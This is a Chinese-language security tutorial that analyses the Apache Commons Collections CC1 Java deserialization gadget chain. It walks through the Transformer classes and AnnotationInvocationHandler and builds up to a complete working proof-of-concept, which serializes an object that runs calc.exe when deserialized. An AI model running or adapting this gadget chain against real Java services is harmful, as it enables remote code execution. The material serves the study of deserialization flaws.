【Java安全】CC1链
CC1链
相关资源链接:
sun包要下的源码:hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4
下载8u65的版本:https://blog.lupf.cn/
简单demo
P神给出的最简单的CC1 payload:
package CC1;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;
import java.util.Map;public class cc1 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),};Transformer transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);outerMap.put("test", "xxxx");}
}
这个过程涉及的几个相关接口和类
TransformedMap
TransformedMap用于对Java标准数据结构Map做一个修饰,被修饰过的Map在添加新的元素的时候可以执行一个回调
下⾯这⾏代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,
valueTransformer);
其中,keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调。 而这个回调指的是⼀个实现了Transformer接⼝的类。
Transformer类里面就只有一个transform方法
public interface Transformer {public Object transform(Object input);}
通过一个简单的代码理解 TransformedMap
package CC1;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;
import java.util.Map;public class transformedMap {public static void main(String[] args) {//原始map,未被修饰Map normalMap = new HashMap();normalMap.put("name", "xpw");normalMap.put("age", 20);System.out.println("未使用TransformedMap的结果:");System.out.println(normalMap); //{name=xpw, age=20}//定义一个keyTransformer,将key转为大写Transformer keyTransformer = new Transformer() {public Object transform(Object input) {return input.toString().toUpperCase();}};//定义一个valueTransformer,为每一个value添加一个后缀Transformer valueTransformer = new Transformer() {public Object transform(Object input) {return input.toString() + "_suffix";}};Map map = new HashMap();map.put("name", "xpw");Map transformedMap = TransformedMap.decorate(map, keyTransformer, valueTransformer);
// transformedMap.put("name", "xpw");transformedMap.put("age", 20);System.out.println("\n使用TransformedMap之后的结果:");System.out.println(transformedMap); //{name=xpw, AGE=20_suffix}}
}
只有被修饰的Map在添加新元素的时候会对其添加的新元素进行一个回调
ConstantTransformer
ConstantTransformer是实现了Transformer接⼝的⼀个类,它的过程就是在构造函数的时候传⼊⼀个对象,并在transform⽅法将这个对象再返回
public ConstantTransformer(Object constantToReturn) {super();iConstant = constantToReturn;}
public Object transform(Object input) {return iConstant;}
也就是说无论你传入了什么,返回的都是iConstant
,也就是实例化时传入的对象
InvokerTransformer
InvokerTransformer是实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序 列化能执⾏任意代码的关键。
在实例化这个InvokerTransformer时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数 是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {super();iMethodName = methodName;iParamTypes = paramTypes;iArgs = args;}public Object transform(Object input) {if (input == null) {return null;}try {Class cls = input.getClass();Method method = cls.getMethod(iMethodName, iParamTypes);return method.invoke(input, iArgs);} catch (NoSuchMethodException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);}}
其实就是通过反射机制调用对象的方法执行
ChainedTransformer
ChainedTransformer
也是实现了Transformer
接口,接受的参数是一个Transformer[]
数组,它的transform()
方法就是对Transformer[]
数组里面的每一个类调用他们自己的transform()
方法,前一个类的输出作为后一个类的输入
public ChainedTransformer(Transformer[] transformers) {super();iTransformers = transformers;}
public Object transform(Object object) {for (int i = 0; i < iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}
简单demo理解这个类的作用
package CC1;import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.Transformer;public class chainedTransformer {public static void main(String[] args) {Transformer[] transformers;transformers = new Transformer[]{new InvokerTransformer("toUpperCase",null,null),new InvokerTransformer("getClass", null, null),new InvokerTransformer("getName", null, null)};Transformer chainedTransformer = new ChainedTransformer(transformers);Object result = chainedTransformer.transform("xpw");System.out.println(result);//java.lang.String}
}
首先调用调用 toUpperCase
对输入的字符串进行转大写,然后调用getClass()
获得String.class
,在调用getName()
获得java.lang.String
分析demo代码
对这几个Transformer
进行了解之后,再看前面demo的代码就比较好理解了
Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),};Transformer transformerChain = new ChainedTransformer(transformers);
首先创建了一个ChainedTransformer
,里面包含了两个Transformer
,第一个是ConstantTransformer
, 返回当前环境的Runtime对象,第二个是InvokerTransformer
, 调用Runtime
对象的exec方法,执行命令
这个ChainedTransformer
是一系列的回调,还需要使用这个对一个Map对象进行包装,包装后的Map对象只要在添加新的元素的时候就会自动触发回调执行(TransformedMap
的作用 )
也就是这一段
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
如何进行序列化?
触发TransformedMap的关键是向Map里面加入一个新的元素,手动执行使用put()
添加一个自然是可以,但是在反序列化的时候需要找到一个类,在它的readObject
方法里面存在类似的写入操作,才能触发那一系列的回调操作
那么要如何找到这样的一个类呢?
先来看看前面是通过put()
添加一个新的元素从而触发后面的一系列回调
那为什么通过put
添加一个新元素就会执行它的回调呢?
可以进入源码里面查看一下:
TransformedMap.decorate
返回的对象是TransformedMap
类型的,然后调用的put
方法也就是这个类里面的put方法
对key调用transformKey
,对value调用transformValue
而两个方法在内部都会检查前面是否有传入keyTransformer
, valueTransformer
, 若有则调用他们的transform
方法
所以前面demo代码可以弹计算器的关键应该就不是put()
, 而是valueTransformer()
,
那再找找还有哪里可以触发valueTransformer()
可以找到checkSetValue()
这个方法
再找找有哪里调用了**checkSetValue()**
这个方法
在AbstractInputCheckedMapDecorator
的内部类MapEntry
里面可以找到
可以简单的理解一下这个代码,entry
是指一个键值对,那么这个setValue
就是对这个entry
进行一个赋值的操作
仔细的跟一下,这个setValue
其实就是Map接口里面方法的重写
所以如果存在一个对Map的遍历, 在遍历里面写入值 setValue()
也就有了触发后面那一系列回调的条件了
写个简单demo测试一下
package CC1;import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;
import java.util.Map;public class demo {public static void main(String[] args) {Runtime runtime = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});Map map = new HashMap();map.put("key", "value");Map<Object,Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);for (Map.Entry entry:decorate.entrySet()){entry.setValue(runtime);}}
}
可以弹出计算器,说明对Map进行遍历操作的时候,如果调用了setValue()
是可以调用到那一系列的回调的
那么就可以依照这个进行查找有没有对应的类的readObject
方法里面有进行过类似的操作
直接对setValue
这个方法进行 “查找用法” 可以找到这样一个类 AnnotationInvocationHandler
(sun.reflect.annotation.AnnotationInvocationHandler)
AnnotationInvocationHandler
它的readObject方法正好存在对一个Map进行遍历并设置值,当调用了setValue
方法设置值时就会触发TransformedMap里注册的 Transform ,进而执行我们构造的代码
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();// Check to make sure that types have not evolved incompatiblyAnnotationType annotationType = null;try {annotationType = AnnotationType.getInstance(type);} catch(IllegalArgumentException e) {// Class is no longer an annotation type; time to punch outthrow new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");}Map<String, Class<?>> memberTypes = annotationType.memberTypes();// If there are annotation members without values, that// situation is handled by the invoke method.for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);if (memberType != null) { // i.e. member still existsObject value = memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));}}}}
}
poc构造
因为 sun.reflect.annotation.AnnotationInvocationHandler 是 JDK内部的类,不能直接使
用new来实例化,所以利用反射来获取它的构造方法, 并将其设置成外部可见的,再调用就可以实例化了。
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Retention.class, outerMap);
这里的实例化传了两个参数,第二个自然就是构造的恶意Map, 而第一个是Retention.class
看到构造方法里面,第一个参数需要是继承了 Annotation
的类,Annotation是指注解类,也就是这个参数需要传入一个注解类,选择这个Retention
也有原因
所以当下完整的代码为
package CC1;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class easyCC1 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),};Transformer transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();innerMap.put("name", "xpw");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);Object obj = constructor.newInstance(Retention.class, outerMap);serialize(obj);}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}}
但是运行就会发现报错,原因在于Runtime
的对象是无法进行序列化的,因为Runtime类没有实现 java.io.Serializable 接口的
所以需要通过反射来获取Runtime 对象
现在代码就变成了这样
package CC1;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class easyCC1 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),};Transformer transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();innerMap.put("name", "xpw");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);Object obj = constructor.newInstance(Retention.class, outerMap);serialize(obj);unserialize("ser.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}}
确实可以序列化了,但是反序列化的时候会发现无法弹出计算器,说明在反序列化的时候并没有执行到setValue()
这里
看到里面的代码,在执行setValue
之前还有两个if判断,打个断点调试一下,查看是否是没有满足这几个判断的条件
可以发现第一个if的条件我们就不满足
要如何保证memberType
不为空呢?
参数name是通过memberValue.getKey()
得到的,这个memberValue
就是要遍历的键值对,所以这个name就会被赋值为“name”,因为我们传入的key值为"name"
memberType
是由 memberTypes.get(name)
得到的,而这个memberTypes
在调试的界面显示只有一个 value
这个值,因为找不到name
这个值所以导致memberType
变为了空,也就是说想让memberType
不为空只需要让我们的key值name
变为value
就行
那么这里memberTypes
为什么里面只有一个value
这个键值呢?
因为我们前面传入的注解是Retention
类
开始这里annotationType = AnnotationType.getInstance(type);
返回的就是Retention注解的结构描述对象
然后继续Map<String, Class<?>> memberTypes = annotationType.memberTypes();
调用memberTypes()方法,返回的就是 Retention类的“注解字段名 → 字段类型”的Map
而Retention里面只有一个方法 value
所以这个memberTypes
就是如同调试里面的这个值了:value:java.lang.annotation.RetentionPolicy
这也是为什么前面传入的注解类要是Rentention
了,这样只需要控制添加的键值对里面有一个键值为 value
就可以满足条件了
最后的poc
现在这个poc就可以正常执行命令,弹出计算器了
package CC1;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class easyCC1 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),};Transformer transformerChain = new ChainedTransformer(transformers);Map innerMap = new HashMap();innerMap.put("name", "xpw");innerMap.put("value", "xpw");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);constructor.setAccessible(true);Object obj = constructor.newInstance(Retention.class, outerMap);serialize(obj);unserialize("ser.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}}
当然,其实这里还有一个注意点就是在readObject
里面它调用setValue()
方法里面参数是已经写死了为AnnotationTypeMismatchExceptionProxy
,也就是说我们没法控制setValue的参数,
那么是怎么调用到Runtime的实例对象的呢?
这个就是ConstantTransformer
的作用了,前面也说了,无论传入的对象是什么,返回的对象永远是iConstant
可以看到调试的页面里面,即使传入的对象无法改变,只能是AnnotationTypeMismatchExceptionProxy
,但是返回的对象却可以根据需要任意改变(在实例化时传入进去的对象)
也就是poc里面的这一块
参考
代码审计社区 Java安全漫谈
https://fushuling.com/index.php/2023/01/30/java%e5%ae%89%e5%85%a8%e7%ac%94%e8%ae%b0/
https://drun1baby.top/2022/06/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8701-CC1%E9%93%BE/
https://www.bilibili.com/video/BV1no4y1U7E1?spm_id_from=333.788.videopod.sections&vd_source=cf7d01598010e70f1da4b79252417e78